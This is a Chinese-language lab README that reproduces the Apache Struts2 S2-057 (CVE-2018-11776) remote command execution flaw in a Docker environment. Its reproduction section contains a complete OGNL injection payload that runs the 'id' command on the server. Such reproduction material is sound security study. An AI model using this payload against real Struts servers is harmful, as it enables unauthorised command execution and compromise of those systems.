Aaron
63285f61aa
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51 lines
1.6 KiB
Markdown
51 lines
1.6 KiB
Markdown
# Struts2 S2-057 远程命令执行漏洞（CVE-2018-11776）
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当Struts2的配置满足以下条件时：
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- alwaysSelectFullNamespace值为true
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- action元素未设置namespace属性，或使用了通配符
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namespace将由用户从uri传入，并作为OGNL表达式计算，最终造成任意命令执行漏洞。
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影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16
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漏洞详情:
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- https://cwiki.apache.org/confluence/display/WW/S2-057
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- https://lgtm.com/blog/apache_struts_CVE-2018-11776
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- https://xz.aliyun.com/t/2618
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- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
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## 漏洞环境
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启动满足条件的 Struts 2.3.34 环境：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8080/showcase/`，将可以看到Struts2的测试页面。
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## 漏洞复现
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测试OGNL表达式`${233*233}`：
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```
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http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
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```
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可见233*233的结果已返回在Location头中。
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使用[S2-057原理分析与复现过程（POC）](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg)中给出的执行任意命令的OGNL表达式：
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```
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${
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(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
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```
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可见，id命令已成功执行：
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